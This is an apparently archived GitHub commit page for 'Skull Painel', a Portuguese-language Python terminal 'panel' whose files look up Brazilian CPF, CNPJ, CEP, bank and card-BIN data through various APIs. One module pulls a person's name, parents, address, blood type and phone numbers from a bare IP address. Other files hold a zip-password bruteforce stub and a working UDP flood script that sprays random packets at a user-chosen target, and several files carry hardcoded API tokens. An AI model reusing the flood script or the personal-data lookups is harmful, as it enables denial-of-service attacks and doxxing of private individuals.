This repository has been archived by the owner on Sep 29, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit ac3835e
Showing
31 changed files
with
738 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
# SKULL PAINEL v0.5.1-beta | ||
Um painel feito para ser simples e direto ao ponto. | ||
# Captura de tela / Screenshot | ||
![Menu](https://github.com/oporadokrl/skull-painel/blob/master/skull-painel.PNG) | ||
# Instalação / Install | ||
## Termux | ||
``` | ||
apt update -y && apt upgrade -y | ||
apt install python git -y | ||
pip3 install requests | ||
git clone https://github.com/oporadokrl/skull-painel.git | ||
cd skull-painel | ||
python3 main.py | ||
``` | ||
## Funções do Painel | ||
### Português | ||
O Skull painel consulta: | ||
- [x] CPF | ||
- [x] CNPJ | ||
- [x] placa | ||
- [x] bancos | ||
- [x] IP | ||
- [x] BIN | ||
- [x] CEP | ||
Obs: a API CPF2 não está funcionando | ||
### English | ||
The Skull Painel searches for: | ||
- [x] CPF | ||
- [x] CNPJ | ||
- [x] License Plate | ||
- [x] Banks | ||
- [x] Consulta por IP | ||
- [x] Consulta por BIN | ||
- [x] Consulta por CEP | ||
Obs: the API CPF2 doesn't work | ||
# Funções Extras / Extra functions | ||
- DoS | ||
- Bruteforce | ||
- Wordlist | ||
- Nmap | ||
Obs: A Wordlist ainda não funciona | ||
Obs: Wordlist still doesn't work | ||
# Contato / Contact | ||
## Desenvolvedor / Developer | ||
Telegram: @yato_br | ||
## Contribuinte / Contrib | ||
Telegram: @OmgGass | ||
# Licença / License | ||
[MIT](https://choosealicense.com/licenses/mit/) |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
import requests | ||
from data import ui | ||
def consultar(lang): | ||
bank_input = ui.input_dialog() | ||
try: | ||
bank_data = requests.get('https://brasilapi.com.br/api/banks/v1/{}'.format(bank_input)).json() | ||
if 'message' not in bank_data: | ||
msg= f''' | ||
{lang[82]}: {bank_data['code']} | ||
{lang[18]}: {bank_data['name']} | ||
{lang[83]}: {bank_data['fullName']} | ||
ISPB: {bank_data['ispb']} | ||
''' | ||
else: | ||
msg = lang[12] | ||
except: | ||
msg = lang[12] | ||
choice = ui.dialog_choice(msg) | ||
if choice == '1' or choice == '01': | ||
pass | ||
elif choice == '2' or choice == '02': | ||
Sair=True | ||
else: | ||
ui.dialog(lang[3]);time.sleep(3) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
import requests | ||
from data import ui | ||
def consultar(lang): | ||
bin_input = ui.input_dialog() | ||
headers = {"Accept-Version": "3", | ||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"} | ||
req_data = requests.get('https://lookup.binlist.net/' + bin_input, headers=headers).json() | ||
try: | ||
msg=f''' | ||
{lang[83]}: {req_data['scheme']} | ||
{lang[56]}: {req_data['brand']} | ||
{lang[34]}: {req_data['type']} | ||
{lang[70]}: {req_data['country']['name']} | ||
Latitude: {req_data['country']['latitude']} | ||
Longitude: {req_data['country']['longitude']} | ||
{lang[76]}: {req_data['country']['currency']} | ||
''' | ||
#Emoji: {req_data['country']['emoji']} | ||
except: | ||
msg = lang[12] | ||
|
||
choice = ui.dialog_choice(msg) | ||
if choice == '1' or choice == '01': | ||
pass | ||
elif choice == '2' or choice == '02': | ||
Sair=True | ||
else: | ||
ui.dialog(lang[3]);time.sleep(3) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
import os | ||
CO='\033[m';R='\033[1;31m';B='\033[1;34m';C='\033[1;37m';CY='\033[1;36m';Y='\033[1;33m';G='\033[1;32m';RT='\033[;0m' | ||
def breach_pass(): | ||
wordlist = 'word.txt' | ||
file='' | ||
print(f'{C}[{G}*{C}] Tentando ler wordlist.') | ||
file = open(wordlist,'r') | ||
passwords = (file.read()).split() | ||
file.close() | ||
for word in passwords: | ||
print(f'{C}[{G}*{C}] Tentando senha: '+word) | ||
os.popen('unzip -p '+word+' '+file) | ||
os.system('clear') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
import requests,time | ||
from data import ui | ||
def consultar(lang): | ||
cep_input = ui.input_dialog() | ||
if len(cep_input) != 8: | ||
msg = lang[61] | ||
else: | ||
request = requests.get('https://viacep.com.br/ws/{}/json/'.format(cep_input)) | ||
adress_data = request.json() | ||
try: | ||
msg=f''' | ||
{lang[17]}: {adress_data['cep']} | ||
{lang[29]}: {adress_data['logradouro']} | ||
{lang[30]}: {adress_data['complemento']} | ||
{lang[49]}: {adress_data['bairro']} | ||
{lang[68]}: {adress_data["localidade"]} | ||
{lang[69]}: {adress_data['uf']} | ||
IBGE: {adress_data['ibge']} | ||
GIA: {adress_data['gia']} | ||
SIAFI: {adress_data['siafi']} | ||
DDD: {adress_data['ddd']} | ||
''' | ||
except: | ||
msg = lang[12] | ||
choice = ui.dialog_choice(msg) | ||
if choice == '1' or choice == '01': | ||
pass | ||
elif choice == '2' or choice == '02': | ||
Sair=True | ||
ui.dialog(lang[3]) | ||
time.sleep(3) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
import requests,time | ||
from data import ui | ||
def consultar(lang,cnpj_input=''): | ||
if len(cnpj_input) < 1: | ||
cnpj_input = ui.input_dialog() | ||
msg='' | ||
try: | ||
cnpj_data = requests.get('https://www.receitaws.com.br/v1/cnpj/{}'.format(cnpj_input)).json() | ||
except: | ||
msg = lang[12] | ||
if cnpj_data['status'] != "ERROR": | ||
msg=f""" | ||
{lang[15]}: {cnpj_data['cnpj']} | ||
""" | ||
message=f""" | ||
{lang[23]}: {cnpj_data['atividade_principal'][0]['text']} | ||
{lang[18]}: {cnpj_data['nome']} | ||
{lang[17]}: {cnpj_data['cep']} | ||
""" | ||
msg = msg + message | ||
try: | ||
message=f"{lang[25]}: {cnpj_data['telefone']}" | ||
msg = msg + message | ||
except: | ||
pass | ||
try: | ||
message=f"\nEmail: {cnpj_data['email']}" | ||
msg = msg + message | ||
except: | ||
pass | ||
message=f""" | ||
{lang[26]}: {cnpj_data['situacao']} | ||
{lang[27]}: {cnpj_data['uf']} | ||
{lang[28]}: {cnpj_data['municipio']} | ||
{lang[29]}: {cnpj_data['logradouro']}, {cnpj_data['numero']} | ||
{lang[30]}: {cnpj_data['complemento']} | ||
{lang[31]}: {cnpj_data['porte']} | ||
{lang[32]}: {cnpj_data['natureza_juridica']} | ||
{lang[33]}: {cnpj_data['abertura']} | ||
{lang[34]}: {cnpj_data['tipo']} | ||
{lang[35]}: {cnpj_data['capital_social']} | ||
""" | ||
msg = msg + message | ||
for i in range(0,10): | ||
try: | ||
message=f""" | ||
{lang[36]}: {cnpj_data['qsa'][i]['nome']} | ||
{lang[37]}: {cnpj_data['qsa'][i]['qual']} | ||
""" | ||
msg = msg + message | ||
except: | ||
pass | ||
else: | ||
msg=cnpj_data['message'] | ||
choice = ui.dialog_choice(msg) | ||
if choice == '1' or choice == '01': | ||
pass | ||
elif choice == '2' or choice == '02': | ||
Sair=True | ||
else: | ||
ui.dialog(lang[3]) | ||
time.sleep(3) | ||
def gerar(lang): | ||
token="f01e0024a26baef3cc53a2ac208dd141" | ||
cnpj_data=requests.get('http://geradorapp.com/api/v1/cnpj/generate?token={}'.format(token)).json() | ||
cnpj_input = int(cnpj_data['data']['number']) | ||
consultar(lang,cnpj_input) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
import requests | ||
from data import ui | ||
def consultar(lang): | ||
Sair = False | ||
while(Sair==False): | ||
choice = ui.input_dialog() | ||
data = requests.get('https://covid19-brazil-api.now.sh/api/report/v1/brazil/uf/{}'.format(choice)).json() | ||
msg = f''' | ||
Data e horario local: {data['datetime']} | ||
Estado: {data['state']} | ||
UF: {data['uf']} | ||
UID: {data['uid']} | ||
Casos: {data['cases']} | ||
Mortes: {data['deaths']} | ||
Suspeitas: {data['suspects']} | ||
Recusados: {data['refuses']} | ||
''' | ||
choice = ui.dialog_choice(msg) | ||
if choice == '1' or choice == '01': | ||
pass | ||
elif choice == '2' or choice == '02': | ||
Sair = True | ||
else: | ||
pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
import requests,os,time | ||
from data import ui | ||
def consultar(lang): | ||
Sair = False | ||
while(Sair==False): | ||
os.system("clear") | ||
cpf_input = ui.input_dialog() | ||
data = requests.get('http://api.trackear.com.br/basepv/cpf/{}/noip'.format(cpf_input)).json() | ||
try: | ||
msg = f""" | ||
{lang[14]}: {data['cpf']} | ||
{lang[18]}: {data['nome']} | ||
{lang[19]}: {data['sexo']} | ||
{lang[20]}: {data['dtNascimento']} | ||
{lang[21]}: {data['idade']} | ||
{lang[22]}: {data['dtConsulta']} | ||
""" | ||
except: | ||
msg = lang[12] | ||
|
||
choice = ui.dialog_choice(msg) | ||
if choice == '1' or choice == '01': | ||
pass | ||
elif choice == '2' or choice == '02': | ||
Sair=True | ||
else: | ||
ui.dialog(lang[3]);time.sleep(3) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
import requests,time | ||
from data import ui | ||
# 00000000272 | ||
def consultar(lang): | ||
cpf_input = ui.input_dialog() | ||
api = requests.get('http://192.53.165.231/cCPF/{}'.format(cpf_input)).json() | ||
msg = f''' | ||
{lang[18]}: {api['nome']} | ||
{lang[14]} : {api['cpf']} | ||
{lang[40]} : {api['cns']} | ||
{lang[19]}: {api['sexo']} | ||
{lang[29]}: {api['enderecoLogradouro']}, {api['enderecoNumero']} | ||
{lang[30]}: {api['enderecoComplemento']} | ||
{lang[17]} : {api['enderecoCep']} | ||
{lang[49]} : {api['enderecoBairro']} | ||
{lang[18]} {lang[41]}: {api['nomeMae']} | ||
{lang[18]} {lang[42]}: {api['nomePai']} | ||
{lang[43]} : {api['nacionalidade']} | ||
{lang[44]} : {api['encontradoReceita']} | ||
{lang[47]} : {api['nomade']} | ||
{lang[48]} : {api['tipoSanguineo']} | ||
''' | ||
mensage = '' | ||
for i in range(0,10): | ||
try: | ||
mensage=f''' | ||
{lang[25]}: ({api['telefone'][i]['ddd']}){api['telefone'][i]['numero']} | ||
{lang[34]}: {api['telefone'][i]['tipoDescricao']} | ||
''' | ||
except: | ||
i=10 | ||
mensage = msg+mensage | ||
msg = msg.replace('true',lang[45]).replace('false',lang[46]) | ||
choice = ui.dialog_choice(msg) | ||
if choice == '1' or choice == '01': | ||
pass | ||
elif choice == '2' or choice == '02': | ||
Sair=True | ||
else: | ||
ui.dialog(lang[3]) | ||
time.sleep(3) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
import requests | ||
def consultar(crm_input,uf_input): | ||
token = 5072097263 | ||
try: | ||
url = 'https://www.consultacrm.com.br/api/index.php?tipo=crm&uf='+uf_input | ||
data = requests.get(url+'&q={}&chave={}&destino=json'.format(crm_input,token)) | ||
crm_data = data.json() | ||
except: | ||
return 'CRM ou UF invalido' | ||
limite = int(crm_data['api_limite']) | ||
consultas= int(crm_data['api_consultas']) | ||
restantes = int(limite - consultas) | ||
if (crm_data['status']) == "true": | ||
try: | ||
msg = f''' | ||
CRM: {crm_data["item"][0]["numero"]} | ||
Nome: {crm_data["item"][0]["nome"]} | ||
UF: {crm_data["item"][0]["uf"]} | ||
Situacao: {crm_data["item"][0]["situacao"]} | ||
Profiss?o: {crm_data["item"][0]["profissao"]} | ||
Consultas restantes = {restantes} | ||
''' | ||
return msg | ||
except: | ||
return 'Erro! dados invalidos!' | ||
else: | ||
return 'CRM invalido' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
import os | ||
global optionsfile,userfile,login,user,cpf_api,ip_api,placa_api,cnpj_api,language | ||
# Retornar uma lista nomeada de options | ||
# remover o arquivo user e colocar na options o username | ||
optionsfile = './data/save/options' | ||
def clear_config(): | ||
if os.path.exists(optionsfile): | ||
try: | ||
os.remove(optionsfile) | ||
except: | ||
os.system('rm '+optionsfile) | ||
|
||
def write(language='pt',options='000000',user='yato'): | ||
clear_config() | ||
f = open(optionsfile,'a') | ||
f.write(language);f.write(',');f.write(options);f.write(',');f.write(user) | ||
f.close() | ||
|
||
def read(): | ||
if os.path.exists(optionsfile): | ||
f = open(optionsfile,'r') | ||
options = (f.read()).split(',') | ||
f.close() | ||
else: | ||
options = [ | ||
'pt', | ||
'000000', | ||
'yato' | ||
] | ||
return options |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
import socket,random | ||
############# | ||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | ||
bytes = random._urandom(1490) | ||
############# | ||
ip = input("Alvo : ") | ||
port = input("Porta: ") | ||
sent = 0 | ||
while True: | ||
sock.sendto(bytes, (ip,port)) | ||
sent = sent + 1 | ||
port = port + 1 | ||
print ("Sent {} packet to {} throught port:{}".format(sent,ip,port)) | ||
if port == 65534: | ||
port = 1 | ||
|
Oops, something went wrong.